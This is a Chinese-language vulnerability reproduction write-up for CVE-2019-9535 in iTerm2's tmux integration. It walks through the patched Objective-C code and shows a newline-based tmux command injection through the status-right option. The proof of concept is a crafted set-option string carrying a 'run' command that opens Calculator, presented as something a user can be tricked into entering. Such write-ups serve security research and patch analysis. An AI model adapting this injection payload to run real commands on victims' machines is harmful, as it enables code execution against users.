[CVE-2019-9535] Iterm2命令执行的不完整复现
2019-10-12 15:26:26 Author: mp.weixin.qq.com(查看原文) 阅读量:2 收藏

CVE-2019-9535

昨天爆出了一个Iterm2的代码执行漏洞,看着非常的刺激吓人,因为我也在用,所以趁热赶紧尝试复现一下。源头文章是来自:https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/

mozilla他们通过MOSS自动审计出来的(?)。

历程

首先通过关键字找到对应的commit记录:https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c

根据commit描述,可以看到这个就是CVE-2019-9535的补丁,而洞的根本原因大概可以了解到。

  1. 有关于 session name

  2. 与 set-titles-stringstatus-left, and status-right这三个变量有关。

  3. 是轮询获取title的,所以应该是自动触发的。

我之前都是没有使用过Tmux的,而是使用Screen,所以Iterm2并没有集成Tmux环境。

安装Tmux集成环境

根据Iterm2文档:https://iterm2.com/documentation-tmux-integration.html

使用homebrew自动安装即可-- brew install tmux

然后就能使用 tmux-CC建立起tmux服务了。启动后,会新建一个tmux窗口

Tmux命令

根据man文档,能够很快的找到Tmux相关的指令以及参数:http://man7.org/linux/man-pages/man1/tmux.1.html

  1. set-titles-string string

  2. String used to set the client terminal title if set-titles is

  3. on. Formats are expanded, see the FORMATS section.

  4. status-left string

  5. Display string (by default the session name) to the left of the

  6. status line. string will be passed through strftime(3). Also

  7. see the FORMATS and STYLES sections.

  8. For details on how the names and titles can be set see the

  9. NAMES AND TITLES section.

  10. Examples are:

  11. #(sysctl vm.loadavg)

  12. #[fg=yellow,bold]#(apm -l)%%#[default] [#S]

  13. The default is ‘[#S] ’.

  14. status-right string

  15. Display string to the right of the status line. By default,

  16. the current pane title in double quotes, the date and the time

  17. are shown. As with status-left, string will be passed to

  18. strftime(3) and character pairs are replaced.

通过文档,可以发现,这三个都是字符串类型的变量。而根据描述其默认都是打印出 session name的值。根据猜测,这三个应该是平行的Sink,所以接下来我们需要去找到漏洞的Source。

简单审计

接下来带入到补丁中看。根据关键字很快的定位到代码

审计一下修补前的代码

  1. - (void)requestUpdates {

  2. _accelerated = NO;

  3. [_gateway sendCommand:@"display-message -p \"#{status-left}\"" responseTarget:self responseSelector:@selector(handleStatusLeftResponse:)];

  4. [_gateway sendCommand:@"display-message -p \"#{status-right}\"" responseTarget:self responseSelector:@selector(handleStatusRightResponse:)];

  5. }

其实我也不知道这是什么语言...但是还是硬着头皮看下去。根据关键字判断,这里是将 display-message-p"#{status-right}"命令的返回值传递到了 handleStatusrightResponse函数中。
我们可以在Tmux Server中执行Command,看一下这句命令的返回值是啥

接着把返回值传递进handleStatusRightResponse函数,这里可以看到在handleStatusRightResponse函数中,执行命令之前,对参数进行了一次过滤,很明显是防止命令注入的,此时答案呼之欲出:这就是个二次的(Tmux)命令注入啊!

  1. - (void)handleStatusrightResponse:(NSString *)response {

  2. if (!response) {

  3. return;

  4. }

  5. NSString *command = [NSString stringWithFormat:@"display-message -p \"%@\"", [self escapedString:response]];

  6. [_gateway sendCommand:command responseTarget:self responseSelector:@selector(handleStatusrightValueExpansionResponse:)];

  7. }

  8. - (NSString *)escapedString:(NSString *)string {

  9. return [[string stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]

  10. stringByReplacingOccurrencesOfString:@"\"" withString:@"\\\""];

  11. }

根据原文当中的提示,需要用户运行一些无危害的命令,而这个无危害的命令应该就是对 status-right进行赋值:

  1. tmux set-option -g status-right "[#S]"

这里便是攻击的Source点了,第一次 display-message-p"#{status-right}",返回"[#S]",然后将其拼接入第二次 display-message-- display-message-p"[#S]",但是根据资料,以及测试,并没有办法一行执行多条语句,并且由于转义无法逃逸出双引号的包裹,此时不由的想到了CRLF。

根据文档得知 run可以运行程序,尝试在Server console中执行命令:

  1. display -p 1

  2. run 'open /Applications/Calculator.app'

可以看到,两条语句都成功执行。接下来测试第一条语句错误,第二条语句是否会执行:

  1. display -p "1

  2. run 'open /Applications/Calculator.app'

此时,第一条命令并没有闭合,所以无法执行,但第二条语句还是成功执行了

此时,攻击链就完整了。

首先欺骗用户输入:

  1. tmux set-option -g status-right "#{?window_bigger,[#{window_offset_x}#,#{window_offset_y}] ,}\"\"#{=21:pane_title}\" %H:%M %d-%b-%y

  2. run 'open /Applications/Calculator.app'#"

在启动Tmux的时候,由于Status Bars需要轮询Tmux的 status-right,用于更新Iterm2的显示,所以会自动触发上述漏洞链,造成代码执行:

至此,起码是命令执行了。这样的利用链不止一条,除了 status-right以外, status-leftset-titles-string的利用链也是同样原理。

关于Session name

一开始把目光放在了 Escapesequences上,以为是自动触发的漏洞。但是怎么样都没办法找到利用点,不过应该只是我没找到...

根据文档

  1. Control sequences in tmux (like \e]0;title\\\e) modify the session name.

  2. printf "\e]0;title\\\e" 可以修改Session nametitle # 需要先打开set-titles(set-option -g set-titles on)

  1. allow-rename [on | off]

  2. Allow programs in the pane to change the window name using a

  3. terminal escape sequence (\ek...\e\\).

  4. printf "\ekWindows_NAME\e\\" 可以自动修改窗口名,需要打开allow-rename

我认为这一条线才是洞主演示视频中的自动触发的线,只要终端中打印了对应的 Escapesequences则会触发修改字段,从而将攻击者修改的字段注入进命令中,可惜我并没有找到链。并且这条线需要用户开启对应设置。

首先也是Iterm轮询客户端的标题,进行自动更新:

  1. - (void)installTmuxTitleMonitor {

  2. if (_tmuxTitleMonitor) {

  3. return;

  4. }

  5. __weak __typeof(self) weakSelf = self;

  6. _tmuxTitleMonitor = [[iTermTmuxOptionMonitor alloc] initWithGateway:_tmuxController.gateway

  7. scope:self.variablesScope

  8. format:@"#{pane_title}"

  9. target:[NSString stringWithFormat:@"%%%@", @(self.tmuxPane)]

  10. variableName:iTermVariableKeySessionTmuxPaneTitle

  11. block:^(NSString * _Nonnull title) {

  12. if (title) {

  13. [weakSelf setSessionSpecificProfileValues:@{ KEY_TMUX_PANE_TITLE: title ?: @""}];

  14. [weakSelf.delegate sessionDidUpdatePaneTitle:self];

  15. }

  16. }];

  17. [_tmuxTitleMonitor updateOnce];

  18. }

  1. - (NSString *)escapedFormat {

  2. return [[_format stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]

  3. stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];

  4. }

  5. - (void)update:(NSTimer *)timer {

  6. [self updateOnce];

  7. }

  8. - (void)updateOnce {

  9. if (_haveOutstandingRequest) {

  10. DLog(@"Not making a request because one is outstanding");

  11. return;

  12. }

  13. _haveOutstandingRequest = YES;

  14. NSString *command = [NSString stringWithFormat:@"display-message -t '%@' -p '%@'", _target, self.escapedFormat];

  15. DLog(@"Request option with command %@", command);

  16. [self.gateway sendCommand:command

  17. responseTarget:self

  18. responseSelector:@selector(didFetch:)

  19. responseObject:nil

  20. flags:kTmuxGatewayCommandShouldTolerateErrors];

  21. }

  22. - (void)didFetch:(NSString *)value {

  23. DLog(@"Did fetch %@", value);

  24. if (!value) {

  25. // Probably the pane went away and we'll be dealloced soon.

  26. return;

  27. }

  28. _haveOutstandingRequest = NO;

  29. if (_variableName) {

  30. [self.scope setValue:value forVariableNamed:_variableName];

  31. }

  32. if (_block) {

  33. _block(value);

  34. }

  35. }

这咋是个回调-回调函数....

  1. block:^(NSString * _Nonnull title) {

  2. if (title) {

  3. [weakSelf setSessionSpecificProfileValues:@{ KEY_TMUX_PANE_TITLE: title ?: @""}];

  4. [weakSelf.delegate sessionDidUpdatePaneTitle:self];

  5. }

  6. }];

  7. - (BOOL)onUpdateTitle {

  8. NSString *tmuxPaneTitle = [self stringForKey:KEY_TMUX_PANE_TITLE];

  9. if (!tmuxPaneTitle) {

  10. return NO;

  11. }

  12. if ([_profileNameFieldForEditCurrentSession textFieldIsFirstResponder] && _profileNameFieldForEditCurrentSession.window.isKeyWindow) {

  13. // Don't allow it to change to a server-set value during editing.

  14. return YES;

  15. }

  16. _profileNameFieldForEditCurrentSession.stringValue = tmuxPaneTitle;

  17. return YES;

  18. }

实际上就是把我们的pane标题传入到了block这个函数中。然后实际就是把标题赋值给了KEYTMUXPANETITLE这个全局变量(全大写,应该是全局吧...),最后传递给了profileNameFieldForEditCurrentSession。

跟到这里就无疾而终了,因为从始自终都只执行了一次 display-message,没有将 #{pane_title}的值拼接入某个语句,当然也有可能是在另外一个文件使用到了,但我实在是看不懂这个语言,并且Iterm2偷偷把我下的所有版本都给升级到最新了,只好作罢

最后,在3.30版本是一个分水岭,以这版本为界限,增加了修改标题的渠道,低于这个版本的只能去设置里面改,而高于这个版本的则可以使用 Escapesequences.

演示

< 3.30(实际上就是个CRLF->命令注入,注入点跟上述的不大一样,不过没继续跟)

3.3.0=< version <3.3.6


文章来源: https://mp.weixin.qq.com/s?__biz=MzA3MzI1MTIzMw==&mid=2247483682&idx=1&sn=9a69f705c0f65bf629118b623784ef1c&chksm=9f10a1eca86728fabf2bd84b566e00922d78ac5e6a578a657b3abb410b02670f5931413dc090&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh